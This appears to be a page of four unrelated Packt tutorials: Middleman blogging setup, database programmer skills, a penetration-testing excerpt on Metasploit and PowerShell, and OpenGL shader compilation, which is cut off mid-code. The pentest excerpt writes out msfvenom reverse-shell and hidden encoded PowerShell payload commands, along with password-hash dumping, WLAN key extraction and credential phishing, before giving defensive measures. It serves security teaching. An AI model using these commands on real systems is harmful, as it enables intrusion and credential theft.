How-To Tutorials

Part 1: Getting up and running with Middleman Many of today’s most prominent web frameworks, such as Ruby on Rails, Django, Wordpress, Drupal, Express, and Spring MVC, rely on a server-side language to process HTTP requests, query data at runtime, and serve back dynamically constructed HTML. These platforms are great, yet developers of dynamic web applications often face complex performance challenges under heavy user traffic, independent of the underlying technology. High traffic, and frequent requests, may exploit processing-intensive code or network latency, in effect yielding a poor user experience or production outage. Static site generators such as Middleman, Jeckyll, and Wintersmith offer developers an elegant, highly scalable alternative to complex, dynamic web applications. Such tools perform dynamic processing and HTML construction during build time rather than runtime. These tools produce a directory of static HTML, CSS, and JavaScript files that can be deployed directly to a web server such as Nginx or Apache. This architecture reduces complexity and encourages a sensible separation of concerns; if necessary, user-specific customization can be handled via client-side interaction with third-party satellite services. In this three part series, we'll walk-through how to get started in developing a Middleman site, some basics of Middleman blogging, how to migrate content from an existing WordPress blog, and how to deploy a Middleman blog to production. We will also learn how to create automated tests, continuous integration, and automated deployments. In this part, we’ll cover the following: Creating a basic Middleman project Middleman configuration basics A quick overview of the Middleman template system Creating a basic Middleman blog Why should you use middleman? Middleman is a mature, full-featured static site generator. It supports a strong templating system, numerous Ruby-based HTML templating tools such as ERb and HAML, as well as a Sprockets-based asset pipeline used to manage CSS, JavaScript, and third-party client-side code. Middleman also integrates well with CoffeeScript, SASS, and Compass. Environment For this tutorial, I’m using an RVM-installed Ruby 2.1.2. I’m on Mac OSX 10.9.4. Installing middleman Install middleman via bundler: $ gem install middleman Create a basic middleman project called middleman-demo: $ middleman init middleman-demo This results in a middleman-demo directory with the following layout: ├── Gemfile ├── Gemfile.lock ├── config.rb └── source    ├── images    │   ├── background.png    │   └── middleman.png    ├── index.html.erb    ├── javascripts    │   └── all.js    ├── layouts    │   └── layout.erb    └── stylesheets        ├── all.css        └── normalize.css[SB4]  There are 5 directories and 10 files. A quick tour Here are a few notes on the middleman-demo layout: The Ruby Gemfile  cites Ruby gem dependencies; Gemfile.lock cites the full dependency chain, including  middleman-demo’s dependencies’ dependencies The config.rb  houses middleman-demo’s configuration The source directory houses middleman-demo ’s source code–the templates, style sheets, images, JavaScript, and other source files required by the  middleman-demo [SB7] site While a Middleman production build is simply a directory of static HTML, CSS, JavaScript, and image files, Middleman sites can be run via a simple web server in development. Run the middleman-demo development server: $ middleman Now, the middleman-demo site can be viewed in your web browser at  http://localhost:4567. Set up live-reloading Middleman comes with the middleman-livereload gem. The gem detects source code changes and automatically reloads the Middleman app. Activate middleman-livereload  by uncommenting the following code in config.rb: # Reload the browser automatically whenever files change configure :development do activate :livereload end Restart the middleman server to allow the configuration change to take effect. Now, middleman-demo should automatically reload on change to config.rb and your web browser should automatically refresh when you edit the source/* code. Customize the site’s appearance Middleman offers a mature HTML templating system. The source/layouts directory contains layouts, the common HTML surrounding individual pages and shared across your site. middleman-demo uses ERb as its template language, though Middleman supports other options such as HAML and Slim. Also note that Middleman supports the ability embed metadata within templates via frontmatter. Frontmatter allows page-specific variables to be embedded via YAML or JSON. These variables are available in a current_page.data namespace. For example, source/index.html.erb contains the following frontmatter specifying a title; it’s available to ERb templates as current_page.data.title: --- title: Welcome to Middleman --- Currently, middleman-demo is a default Middleman installation. Let’s customize things a bit. First, remove all the contents of source/stylesheets/all.css  to remove the default Middleman styles. Next, edit source/index.html.erb to be the following: --- title: Welcome to Middleman Demo --- <h1>Middleman Demo</h1> When viewing middleman-demo at http://localhost:4567, you’ll now see a largely unstyled HTML document with a single Middleman Demo heading. Install the middleman-blog plugin The middleman-blog plugin offers blog functionality to middleman applications. We’ll use middleman-blog in middleman-demo. Add the middleman-blog version 3.5.3 gem dependency to middleman-demo by adding the following to the Gemfile: gem "middleman-blog", "3.5.3 Re-install the middleman-demo gem dependencies, which now include middleman-blog: $ bundle install Activate middleman-blog and specify a URL pattern at which to serve blog posts by adding the following to config.rb: activate :blog do |blog| blog.prefix = "blog" blog.permalink = "{year}/{month}/{day}/{title}.html" end Write a quick blog post Now that all has been configured, let’s write a quick blog post to confirm that middleman-blog works. First, create a directory to house the blog posts: $ mkdir source/blog The source/blog directory will house markdown files containing blog post content and any necessary metadata. These markdown files highlight a key feature of middleman: rather than query a relational database within which content is stored, a middleman application typically reads data from flat files, simple text files–usually markdown–stored within the site’s source code repository. Create a markdown file for middleman-demo ’s first post: $ touch source/blog/2014-08-20-new-blog.markdown Next, add the required frontmatter and content to source/blog/2014-08-20-new-blog.markdown: --- title: New Blog date: 2014/08/20 tags: middleman, blog --- Hello world from Middleman! Features Rich templating system Built-in helpers Easy configuration Asset pipeline Lots more  Note that the content is authored in markdown, a plain text syntax, which is evaluated by Middleman as HTML. You can also embed HTML directly in the markdown post files. GitHub’s documentation provides a good overview of markdown. Next, add the following ERb template code to source/index.html.erb [SB37] to display a list of blog posts on middleman-demo ’s home page: <ul> <% blog.articles.each do |article| %> <li> <%= link_to article.title, article.path %> </li> <% end %> </ul> Now, when running middleman-demo and visiting http://localhost:4567, a link to the new blog post is listed on middleman-demo ’s home page. Clicking the link renders the permalink for the New Blog blog post at blog/2014-08-20/new-blog.html, as is specified in the blog configuration in config.rb. A few notes on the template code Note the use of a link_to method. This is a built-in middleman template helper. Middleman provides template helpers to simplify many common template tasks, such as rendering an anchor tag. In this case, we pass the link_to method two arguments, the intended anchor tag text and the intended href value. In turn, link_to generates the necessary HTML. Also note the use of a blog variable, within which an article’s method houses an array of all blog posts. Where did this come from?  middleman-demo is an instance of  Middleman::Application;  a blog  method on this instance. To explore other Middleman::Application methods, open middleman-demo via the built-in Middleman console by entering the following in your terminal: $ middleman console To view all the methods on the blog, including the aforementioned articles method, enter the following within the console: 2.1.2 :001 > blog.methods To view all the additional methods, beyond the blog, available to the Middleman::Application instance, enter the following within the console: 2.1.2 :001 > self.methods More can be read about all these methods on Middleman::Application’s rdoc.info class documentation. Cleaner URLs Note that the current new blog URL ends in .html. Let’s customize middleman-demo to omit .html from URLs. Add the following config.rb: activate :directory_indexes Now, rather than generating files such as /blog/2014-08-20/new-blog.html,  middleman-demo generates files such as /blog/2014-08-20/new-blog/index.html, thus enabling the page to be served by most web servers at a /blog/2014-08-20/new-blog/ path. Adjusting the templates Let’s adjust our the middleman-demo ERb templates a bit. First, note that <h1>Middleman Demo</h1> only displays on the home page; let’s make it render on all of the site’s pages. Move <h1>Middleman Demo</h1> from  source/index.html.erb  to source/layouts/layout.erb. Put it just inside the <body> tag: <body class="<%= page_classes %>"> <h1>Middleman Demo</h1> <%= yield %> </body> Next, let’s create a custom blog post template. Create the template file: $ touch source/layout/post.erb Add the following to extend the site-wide functionality of source/layouts/layout.erb to  source/layouts/post.erb: <% wrap_layout :layout do %> <h2><%= current_article.title %></h2> <p>Posted <%= current_article.date.strftime('%B %e, %Y') %></p> <%= yield %> <ul> <% current_article.tags.each do |tag| %> <li><a href="/blog/tags/<%= tag %>/"><%= tag %></a></li> <% end %> </ul> <% end %> Note the use of the wrap_layout  ERb helper.  The wrap_layout ERb helper takes two arguments. The first is the name of the layout to wrap, in this case :layout. The second argument is a Ruby block; the contents of the block are evaluated within the <%= yield %> call of source/layouts/layout.erb. Next, instruct  middleman-demo  to use  source/layouts/post.erb  in serving blog posts by adding the necessary configuration to  config.rb : page "blog/*", :layout => :post Now, when restarting the Middleman server and visiting  http://localhost:4567/blog/2014/08/20/new-blog/,  middleman-demo renders a more comprehensive blog template that includes the post’s title, date published, and tags. Let’s add a simple template to render a tags page that lists relevant tagged content. First, create the template: $ touch source/tag.html.erb And add the necessary ERb to list the relevant posts assigned a given tag: <h2>Posts tagged <%= tagname %></h2> <ul> <% page_articles.each do |post| %> <li> <a href="<%= post.url %>"><%= post.title %></a> </li> <% end %> </ul> Specify the blog’s tag template by editing the blog configuration in config.rb: activate :blog do |blog| blog.prefix = 'blog' blog.permalink = "{year}/{month}/{day}/{title}.html" # tag template: blog.tag_template = "tag.html" end Edit config.rb to configure middleman-demo’s tag template to use source/layout.erb rather than source/post.erb: page "blog/tags/*", :layout => :layout Now, when visiting http://localhost:4567/2014/08/20/new-blog/, you should see a linked list of New Blog’s tags. Clicking a tag should correctly render the tags page. Part 1 recap Thus far, middleman-demo serves as a basic Middleman-based blog example. It demonstrates Middleman templating, how to set up the middleman-blog  plugin, and how to make author markdown-based blog posts in Middleman. In part 2, we’ll cover migrating content from an existing Wordpress blog. We’ll also step through establishing an Amazon S3 bucket, building middleman-demo, and deploying to production. In part 3, we’ll cover how to create automated tests, continuous integration, and automated deployments. About this author Mike Ball is a Philadelphia-based software developer specializing in Ruby on Rails and JavaScript. He works for Comcast Interactive Media where he helps build web-based TV and video consumption applications.

According to Robert Half Technology’s 2019 IT salary report, ‘Database programmer’ is one of the 13 most in-demand tech jobs for 2019. For an entry-level programmer, the average salary is $98,250 which goes up to $167,750 for a seasoned expert. A typical database programmer is responsible for designing, developing, testing, deploying, and maintaining databases. In this article, we will list down the top critical tech skills essential to database programmers. #1 Ability to perform Data Modelling The first step is to learn to model the data. In Data modeling, you create a conceptual model of how data items relate to each other. In order to efficiently plan a database design, you should know the organization you are designing the database from. This is because Data models describe real-world entities such as ‘customer’, ‘service’, ‘products’, and the relation between these entities. Data models provide an abstraction for the relations in the database. They aid programmers in modeling business requirements and in translating business requirements into relations. They are also used for exchanging information between the developers and business owners. During the design phase, the database developer should pay great attention to the underlying design principles, run a benchmark stack to ensure performance, and validate user requirements. They should also avoid pitfalls such as data redundancy, null saturation, and tight coupling. #2 Know a database programming language, preferably SQL Database programmers need to design, write and modify programs to improve their databases. SQL is one of the top languages that are used to manipulate the data in a database and to query the database. It's also used to define and change the structure of the data—in other words, to implement the data model. Therefore it is essential that you learn SQL. In general, SQL has three parts: Data Definition Language (DDL): used to create and manage the structure of the data Data Manipulation Language (DML): used to manage the data itself Data Control Language (DCL): controls access to the data Considering, data is constantly inserted into the database, changed, or retrieved DML is used more often in day-to-day operations than the DDL, so you should have a strong grasp on DML. If you plan to grow in a database architect role in the near future, then having a good grasp of DDL will go a long way. Another reason why you should learn SQL is that almost every modern relational database supports SQL. Although different databases might support different features and implement their own dialect of SQL, the basics of the language remain the same. If you know SQL, you can quickly adapt to MySQL, for example. At present, there are a number of categories of database models predominantly, relational, object-relational, and NoSQL databases. All of these are meant for different purposes. Relational databases often adhere to SQL. Object-relational databases (ORDs) are also similar to relational databases. NoSQL, which stands for "not only SQL," is an alternative to traditional relational databases useful for working with large sets of distributed data. They provide benefits such as availability, schema-free, and horizontal scaling, but also have limitations such as performance, data retrieval constraints, and learning time. For beginners, it is advisable to first start with experimenting on relational databases learning SQL, gradually transitioning to NoSQL DBMS. #3 Know how to Extract, Transform, Load various data types and sources A database programmer should have a good working knowledge of ETL (Extract, Transform Load) programming. ETL developers basically extract data from different databases, transform it and then load the data into the Data Warehouse system. A Data Warehouse provides a common data repository that is essential for business needs. A database programmer should know how to tune existing packages, tables, and queries for faster ETL processing. They should conduct unit tests before applying any change to the existing ETL process. Since ETL takes data from different data sources (SQL Server, CSV, and flat files), a database developer should have knowledge on how to deal with different data sources. #4 Design and test Database plans Database programmers o perform regular tests to identify ways to solve database usage concerns and malfunctions. As databases are usually found at the lowest level of the software architecture, testing is done in an extremely cautious fashion. This is because changes in the database schema affect many other software components. A database developer should make sure that when changing the database structure, they do not break existing applications and that they are using the new structures properly. You should be proficient in Unit testing your database. Unit tests are typically used to check if small units of code are functioning properly. For databases, unit testing can be difficult. So the easiest way to do all of that is by writing the tests as SQL scripts. You should also know about System Integration Testing which is done on the complete system after the hardware and software modules of that system have been integrated. SIT validates the behavior of the system and ensures that modules in the system are functioning suitably. #5 Secure your Database Data protection and security are essential for the continuity of business. Databases often store sensitive data, such as user information, email addresses, geographical addresses, and payment information. A robust security system to protect your database against any data breach is therefore necessary. While a database architect is responsible for designing and implementing secure design options, a database admin must ensure that the right security and privacy policies are in place and are being observed. However, this does not absolve database programmers from adopting secure coding practices. Database programmers need to ensure that data integrity is maintained over time and is secure from unauthorized changes or theft. They need to especially be careful about Table Permissions i.e who can read and write to what tables. You should be aware of who is allowed to perform the 4 basic operations of INSERT, UPDATE, DELETE and SELECT against which tables. Database programmers should also adopt authentication best practices depending on the infrastructure setup, the application's nature, the user's characteristics, and data sensitivity. If the database server is accessed from the outside world, it is beneficial to encrypt sessions using SSL certificates to avoid packet sniffing. Also, you should secure database servers that trust all localhost connections, as anyone who accesses the localhost can access the database server. #6 Optimize your database performance A database programmer should also be aware of how to optimize their database performance to achieve the best results. At the basic level, they should know how to rewrite SQL queries and maintain indexes. Other aspects of optimizing database performance, include hardware configuration, network settings, and database configuration. Generally speaking, tuning database performance requires knowledge about the system's nature. Once the database server is configured you should calculate the number of transactions per second (TPS) for the database server setup. Once the system is up and running, and you should set up a monitoring system or log analysis, which periodically finds slow queries, the most time-consuming queries, etc. #7 Develop your soft skills Apart from the above technical skills, a database programmer needs to be comfortable communicating with developers, testers and project managers while working on any software project. A keen eye for detail and critical thinking can often spot malfunctions and errors that may otherwise be overlooked. A database programmer should be able to quickly fix issues within the database and streamline the code. They should also possess quick-thinking to prioritize tasks and meet deadlines effectively. Often database programmers would be required to work on documentation and technical user guides so strong writing and technical skills are a must. Get started If you want to get started with becoming a Database programmer, Packt has a range of products. Here are some of the best: PostgreSQL 11 Administration Cookbook Learning PostgreSQL 11 - Third Edition PostgreSQL 11 in 7 days [ Video ] Using MySQL Databases With Python [ Video ] Basic Relational Database Design [ Video ] How to learn data science: from data mining to machine learning How to ace a data science interview 5 barriers to learning and technology training for small software development teams

PowerShell is a perfect tool for performing sophisticated attacks, and also, can be used side-by-side with the Metasploit Framework. This article is an excerpt taken from the book Advanced Infrastructure Penetration Testing written by Chiheb Chebbi. In this book, you will learn advanced penetration testing techniques that will help you exploit databases, web and application servers, switches or routers, Docker, VLAN, VoIP, and VPN. In today's post, we will combine the flexibility of Metasploit and PowerShell. This combination is a great opportunity to perform more customized attacks and security tests. Interactive PowerShell PowerShell attacks are already integrated into Metasploit. You can check by using the search command: msf> search powershell Now it is time to learn how to use Metasploit with PowerShell. For a demonstration of one of the many uses, you can convert a PowerShell script into an executable file using the msfvenom utility: >msfvenom -p windows/powershell_reverse_tcp LHOST=192.168.1.39 LPORT=4444 -f exe > evilPS.exe >msfvenom -p windows/exec CMD=“powershell -ep bypass -W Hidden -enc [Powershell script Here]” -f exe -e x86/shikata_ga_nai -o /root/home/ghost/Desktop/power.exe PowerSploit PowerSploit is an amazing set of PowerShell scripts used by information security professionals, and especially penetration testers. To download PowerSploit, you need to grab it from its official GitHub repository, https://github.com/PowerShellMafia/PowerSploit: # git clone https://github.com/PowerShellMafia/PowerSploit After cloning the project, use the ls command to list the files: From the following screenshot, you can note that PowerSploit contains a lot of amazing scripts for performing a number of tasks, such as: AntivirusBypass Exfiltration Persistence PowerSploit PowerUp PowerView Nishang – PowerShell for penetration testing Nishang is a great collection of tools used to perform many tasks during all the penetration testing phases. You can get it from https://github.com/samratashok/nishang: # git clone https://github.com/samratashok/nishang As you can see from listing the downloaded project, Nishang is loaded with many various scripts and utilities for performing a lot of required tasks during penetration testing missions, such as: Privilege escalation Scanning Pivoting   You can explore all the available scripts by listing the content of Nishang project using the ls command: Let's explore some of Nishang's script power on a Windows machine: You can import all the modules using the Import-Module PowerShell cmdlet: Oops, something went wrong! Don't worry, in order to use the Import-Module, you need to open PowerShell as an administrator, and type  Set-ExecutionPolicy -ExecutionPolicy RemoteSigned: Then you can import the modules: Now, if you want, for example, to use the Get-Information module, you just need to type Get-Information: If you want  to unveil WLAN keys, type Get-WLAN-Keys: You can go further and dump password hashes from a target machine in a post-exploitation mission. Thanks to the Get-PassHashes module, you are able to dump password hashes. This is the output of it from my local machine: However, if you want to pop the command after getting a shell, use: Powershell.exe –exec bypass –Command “& {Import-Module '[PATH_HERE]/Get-PassHashes.ps1' , Get-PassHashes}” You can even perform a phishing attack using Invoke-CredentialPhish, like in the previous demonstration. You can run this attack on the victim's machine: Defending against PowerShell attacks In the previous sections, we went through various techniques for attacking machines using Metasploit and PowerShell. Now it is time to learn how to defend against and mitigate PowerShell attacks. In order to protect against PowerShell attacks, you need to: Implement the latest PowerShell version (version 5, when this book was written). To check, type Get-Host: Monitor PowerShell logs. Ensure a least-privilege policy and group policies settings. You can edit them with the Local Group Policy Editor. If you are using the Windows 10 Enterprise edition, you can also use AppLocker: Use the Constrained Language mode: PS C:Windowssystem32> [environment]::SetEnvironmentVariable('__PSLockdownPolicy', '4', 'Machine') To check the Constrained Language mode, type: $ExecutionContext.SessionState.LanguageMode That way, malicious scripts won't work: Thus, in this article, we saw the combination of Metasploit and PowerShell to perform more customized attacks and security tests. If you've enjoyed reading this post, and want to learn how to exploit enterprise VLANS, and go from theory to real-world experience, do check out Advanced Infrastructure Penetration Testing. Pentest tool in focus: Metasploit Approaching a Penetration Test Using Metasploit Getting Started with Metasploitable2 and Kali Linux

A shader is a computer program that is used to do image processing such as special effects, color effects, lighting, and, well, shading. The position, brightness, contrast, hue, and other effects on all pixels, vertices, or textures used to produce the final image on the screen can be altered during runtime, using algorithms constructed in the shader program(s). These days, most shader programs are built to run directly on the Graphical Processing Unit (GPU). In this article, we are going to get acquainted with shaders and implement our own shader infrastructure for the example engine. Shader programs are executed in parallel. This means, for example, that a shader might be executed once per pixel, with each of the executions running simultaneously on different threads on the GPU. The amount of simultaneous threads depends on the graphics card specific GPU, with modern cards sporting processors in the thousands. This all means that shader programs can be very performant and provide developers with lots of creative flexibility. The following article is a part of the book Mastering C++ game Development written by Mickey Macdonald. With this book, you can create advanced games with C++. Shader languages With advances in graphics card technology, more flexibility has been added to the rendering pipeline. Where at one time developers had little control over concepts such as fixed-function pipeline rendering, new advancements have allowed programmers to take deeper control of graphics hardware for rendering their creations. Originally, this deeper control was achieved by writing shaders in assembly language, which was a complex and cumbersome task. It wasn't long before developers yearned for a better solution. Enter the shader programming languages. Let's take a brief look at a few of the more common languages in use. C for graphics (Cg) is a shading language originally developed by the Nvidia graphics company. Cg is based on the C programming language and, although they share the same syntax, some features of C were modified and new data types were added to make Cg more suitable for programming GPUs. Cg compilers can output shader programs supported by both DirectX and OpenGL. While Cg was mostly deprecated, it has seen a resurgence in a new form with its use in the Unity game engine. High-Level Shading Language (HLSL) is a shading language developed by the Microsoft Corporation for use with the DirectX graphics API. HLSL is again modeled after the C programming language and shares many similarities to the Cg shading language. HLSL is still in development and continues to be the shading language of choice for DirectX. Since the release, DirectX 12 the HLSL language supports even lower level hardware control and has seen dramatic performance improvements. OpenGL Shading Language (GLSL) is a shading language that is also based on the C programming language. It was created by the OpenGL Architecture Review Board (OpenGL ARB) to give developers more direct control of the graphics pipeline without having to use ARB assembly language or other hardware-specific languages. The language is still in open development and will be the language we will focus on in our examples. Building a shader program infrastructure Most modern shader programs are composed of up to five different types of shader files: fragment or pixel shaders, vertex shaders, geometry shaders, compute shaders, and tessellation shaders. When building a shader program, each of these shader files must be compiled and linked together for use, much like how a C++ program is compiled and linked. Next, we are going to walk you through how this process works and see how we can build an infrastructure to allow for easier interaction with our shader programs. To get started, let's look at how we compile a GLSL shader. The GLSL compiler is part of the OpenGL library itself, and our shaders can be compiled within an OpenGL program. We are going to build an architecture to support this internal compilation. The whole process of compiling a shader can be broken down into some simple steps. First, we have to create a shader object, then provide the source code to the shader object. We can then ask the shader object to be compiled. These steps can be represented in the following three basic calls to the OpenGL API. First, we create the shader object: GLuint vertexShader = glCreateShader(GL_VERTEX_SHADER); We create the shader object using the glCreateShader() function. The argument we pass in is the type of shader we are trying to create. The types of shaders can be GL_VERTEX_SHADER, GL_FRAGMENT_SHADER, GL_GEOMETRY_SHADER, GL_TESS_EVALUATION_SHADER, GL_TESS_CONTROL_SHADER, or GL_COMPUTE_SHADER. In our example case, we are trying to compile a vertex shader, so we use the GL_VERTEX_SHADER type. Next, we copy the shader source code into the shader object: GLchar* shaderCode = LoadShader("shaders/simple.vert"); glShaderSource(vertexShader, 1, shaderCode, NULL); Here we are using the glShaderSource() function to load our shader source to memory. This function accepts an array of strings, so before we call glShaderSource(), we create a pointer to the start of the shaderCode array object using a still-to-be-created method. The first argument to glShaderSource() is the handle to the shader object. The second is the number of source code strings that are contained in the array. The third argument is a pointer to an array of source code strings. The final argument is an array of GLint values that contains the length of each source code string in the previous argument. Finally, we compile the shader: glCompileShader(vertexShader); The last step is to compile the shader. We do this by calling the OpenGL API method, glCompileShader(), and passing the handle to the shader that we want compiled. Of course, because we are using memory to store the shaders, we should know how to clean up when we are done. To delete a shader object, we can call the glDeleteShader() function. Deleting a Shader ObjectShader objects can be deleted when no longer needed by calling glDeleteShader(). This frees the memory used by the shader object. It should be noted that if a shader object is already attached to a program object, as in linked to a shader program, it will not be immediately deleted, but rather flagged for deletion. If the object is flagged for deletion, it will be deleted when it is detached from the linked shader program object. Once we have compiled our shaders, the next step we need to take before we can use them in our program is to link them together into a complete shader program. One of the core aspects of the linking step involves making the connections between input variables from one shader to the output variables of another and making the connections between the input/output variables of a shader to appropriate locations in the OpenGL program itself. Linking is much like compiling the shader. We create a new shader program and attach each shader object to it. We then tell the shader program object to link everything together. The steps to accomplish this in the OpenGL environment can be broken down into a few calls to the API, as follows: First, we create the shader program object: GLuint shaderProgram = glCreateProgram(); To start, we call the glCreateProgram() method to create an empty program object. This function returns a handle to the shader program object which, in this example, we are storing in a variable named shaderProgram. Next, we attach the shaders to the program object: glAttachShader(shaderProgram, vertexShader); glAttachShader(shaderProgram, fragmentShader); To load each of the shaders into the shader program, we use the glAttachShader() method. This method takes two arguments. The first argument is the handle to the shader program object, and the second is the handle to the shader object to be attached to the shader program. Finally, we link the program: glLinkProgram(programHandle); When we are ready to link the shaders together we call the glLinkProgram() method. This method has only one argument: the handle to the shader program we want to link. It's important that we remember to clean up any shader programs that we are not using anymore. To remove a shader program from the OpenGL memory, we call glDeleteProgram() method. The glDeleteProgram() method takes one argument: the handle to the shader program that is to be deleted. This method call invalidates the handle and frees the memory used by the shader program. It is important to note that if the shader program object is currently in use, it will not be immediately deleted, but rather flagged for deletion. This is similar to the deletion of shader objects. It is also important to note that the deletion of a shader program will detach any shader objects that were attached to the shader program at linking time. This, however, does mean the shader object will be deleted immediately unless those shader objects have already been flagged for deletion by a previous call to the glDeleteShader() method. So those are the simplified OpenGL API calls required to create, compile, and link shader programs. Now we are going to move onto implementing some structure to make the whole process much easier to work with. To do this, we are going to create a new class called ShaderManager. This class will act as the interface for compiling, linking, and managing the cleanup of shader programs. To start with, let's look at the implementation of the CompileShaders() method in the ShaderManager.cpp file. I should note that I will be focusing on the important aspects of the code that pertain to the implementation of the architecture. The full source code for this chapter can be found in the Chapter07 folder in the GitHub repository. void ShaderManager::CompileShaders(const std::string& vertexShaderFilePath, const std::string& fragmentShaderFilepath) { m_programID = glCreateProgram(); m_vertexShaderID = glCreateShader(GL_VERTEX_SHADER); if (m_vertexShaderID == 0){ Exception("Vertex shader failed to be created!"); } m_fragmentShaderID = glCreateShader(GL_FRAGMENT_SHADER); if (m_fragmentShaderID == 0){ Exception("Fragment shader failed to be created!"); } CompileShader(vertexShaderFilePath, m_vertexShaderID); CompileShader(fragmentShaderFilepath, m_fragmentShaderID); } To begin, for this example we are focusing on two of the shader types, so our ShaderManager::CompileShaders() method accepts two arguments. The first argument is the file path location of the vertex shader file, and the second is the file path location to the fragment shader file. Both are strings. Inside the method body, we first create the shader program handle using the glCreateProgram() method and store it in the m_programID variable. Next, we create the handles for the vertex and fragment shaders using the glCreateShader() command. We check for any errors when creating the shader handles, and if we find any we throw an exception with the shader name that failed. Once the handles have been created, we then call the CompileShader() method, which we will look at next. The CompileShader() function takes two arguments: the first is the path to the shader file, and the second is the handle in which the compiled shader will be stored. The following is the full CompileShader() function. It handles the look and loading of the shader file from storage, as well as calling the OpenGL compile command on the shader file. We will break it down chunk by chunk: void ShaderManager::CompileShader(const std::string& filePath, GLuint id) { std::ifstream shaderFile(filePath); if (shaderFile.fail()){ perror(filePath.c_str()); Exception("Failed to open " + filePath); } //File contents stores all the text in the file std::string fileContents = ""; //line is used to grab each line of the file std::string line; //Get all the lines in the file and add it to the contents while (std::getline(shaderFile, line)){ fileContents += line + "n"; } shaderFile.close(); //get a pointer to our file contents c string const char* contentsPtr = fileContents.c_str(); //tell opengl that we want to use fileContents as the contents of the shader file glShaderSource(id, 1, &contentsPtr, nullptr); //compile the shader glCompileShader(id); //check for errors GLint success = 0; glGetShaderiv(id, GL_COMPILE_STATUS, &success); if (success == GL_FALSE){ GLint maxLength = 0; glGetShaderiv(id, GL_INFO_LOG_LENGTH, &maxLength); //The maxLength includes the NULL character std::vector<char> errorLog(maxLength); glGetShaderInfoLog(id, maxLength, &maxLength, &errorLog[0]); //Provide the infolog in whatever manor you deem best. //Exit with failure. glDeleteShader(id); //Don't leak the shader. //Print error log and quit std::printf("%sn", &(errorLog[0])); Exception("Shader " + filePath + " failed to compile"); } } To start the function, we first use an ifstream object to open the file with the shader code in it. We also check to see if there were any issues loading the file and if, there were, we throw an exception notifying us that the file failed to open: std::ifstream shaderFile(filePath); if (shaderFile.fail()) { perror(filePath.c_str()); Exception("Failed to open " + filePath); } Next, we need to parse the shader. To do this, we create a string variable called fileContents that will hold the text in the shader file. We then create another string variable named line; this will be a temporary holder for each line of the shader file we are trying to parse. Next, we use a while loop to step through the shader file, parsing the contents line by line and saving each loop into the fileContents string. Once all the lines have been read into the holder variable, we call the close method on the shaderFile ifstream object to free up the memory used to read the file: std::string fileContents = ""; std::string line; while (std::getline(shaderFile, line)) { fileContents += line + "n"; } shaderFile.close(); You might remember from earlier in the chapter that I mentioned that when we are using the glShaderSource() function, we have to pass the shader file text as a pointer to the start of a character array. In order to meet this requirement, we are going to use a neat trick where we use the C string conversation method built into the string class to allow us to pass back a pointer to the start of our shader character array. This, in case you are unfamiliar, is essentially what a string is: const char* contentsPtr = fileContents.c_str(); Now that we have a pointer to the shader text, we can call the glShaderSource() method to tell OpenGL that we want to use the contents of the file to compile our shader. Then, finally, we call the glCompileShader() method with the handle to the shader as the argument: glShaderSource(id, 1, &contentsPtr, nullptr); glCompileShader(id); That handles the compilation, but it is a good idea to provide ourselves with some debug support. We implement this compilation debug support by closing out the CompileShader() function by first checking to see if there were any errors during the compilation process. We do this by requesting information from the shader compiler through glGetShaderiv() function, which, among its arguments, takes an enumerated value that specifies what information we would like returned. In this call, we are requesting the compile status: GLint success = 0; glGetShaderiv(id, GL_COMPILE_STATUS, &success); Next, we check to see if the returned value is GL_FALSE, and if it is, that means we have had an error and should ask the compiler for more information about the compile issues. We do this by first asking the compiler what the max length of the error log is. We use this max length value to then create a vector of character values called errorLog. Then we can request the shader compile log by using the glGetShaderInfoLog() method, passing in the handle to the shader file the number of characters we are pulling, and where we want to save the log: if (success == GL_FALSE){ GLint maxLength = 0; glGetShaderiv(id, GL_INFO_LOG_LENGTH, &maxLength); std::vector<char> errorLog(maxLength); glGetShaderInfoLog(id, maxLength, &maxLength, &errorLog[0]); Once we have the log file saved, we go ahead and delete the shader using the glDeleteShader() method. This ensures we don't have any memory leaks from our shader: glDeleteShader(id); Finally, we first print the error log to the console window. This is great for runtime debugging. We also throw an exception with the shader name/file path, and the message that it failed to compile: std::printf("%sn", &(errorLog[0])); Exception("Shader " + filePath + " failed to compile"); } ... That really simplifies the process of compiling our shaders by providing a simple interface to the underlying API calls. Now, in our example program, to load and compile our shaders we use a simple line of code similar to the following: shaderManager.CompileShaders("Shaders/SimpleShader.vert", "Shaders/SimpleShader.frag"); Having now compiled the shaders, we are halfway to a useable shader program. We still need to add one more piece, linking. To abstract away some of the processes of linking the shaders and to provide us with some debugging capabilities, we are going to create the LinkShaders() method for our ShaderManager class. Let's take a look and then break it down: void ShaderManager::LinkShaders() { //Attach our shaders to our program glAttachShader(m_programID, m_vertexShaderID); glAttachShader(m_programID, m_fragmentShaderID); //Link our program glLinkProgram(m_programID); //Note the different functions here: glGetProgram* instead of glGetShader*. GLint isLinked = 0; glGetProgramiv(m_programID, GL_LINK_STATUS, (int *)&isLinked); if (isLinked == GL_FALSE){ GLint maxLength = 0; glGetProgramiv(m_programID, GL_INFO_LOG_LENGTH, &maxLength); //The maxLength includes the NULL character std::vector<char> errorLog(maxLength); glGetProgramInfoLog(m_programID, maxLength, &maxLength, &errorLog[0]); //We don't need the program anymore. glDeleteProgram(m_programID); //Don't leak shaders either. glDeleteShader(m_vertexShaderID); glDeleteShader(m_fragmentShaderID); //print the error log and quit std::printf("%sn", &(errorLog[0])); Exception("Shaders failed to link!"); } //Always detach shaders after a successful link. glDetachShader(m_programID, m_vertexShaderID); glDetachShader(m_programID, m_fragmentShaderID); glDeleteShader(m_vertexShaderID); glDeleteShader(m_fragmentShaderID); } To start our LinkShaders() function, we call the glAttachShader() method twice, using the handle to the previously created shader program object, and the handle to each shader we wish to link, respectively: glAttachShader(m_programID, m_vertexShaderID); glAttachShader(m_programID, m_fragmentShaderID); Next, we perform the actual linking of the shaders into a usable shader program by calling the glLinkProgram() method, using the handle to the program object as its argument: glLinkProgram(m_programID); We can then check to see if the linking process has completed without any errors and provide ourselves with any debug information that we might need if there were any errors. I am not going to go through this code chunk line by line since it is nearly identical to what we did with the CompileShader() function. Do note, however, that the function to return the information from the linker is slightly different and uses glGetProgram* instead of the glGetShader* functions from before: GLint isLinked = 0; glGetProgramiv(m_programID, GL_LINK_STATUS, (int *)&isLinked); if (isLinked == GL_FALSE){ GLint maxLength = 0; glGetProgramiv(m_programID, GL_INFO_LOG_LENGTH, &maxLength); //The maxLength includes the NULL character std::vector<char> errorLog(maxLength); glGetProgramInfoLog(m_programID, maxLength, &maxLength, &errorLog[0]); //We don't need the program anymore. glDeleteProgram(m_programID); //Don't leak shaders either. glDeleteShader(m_vertexShaderID); 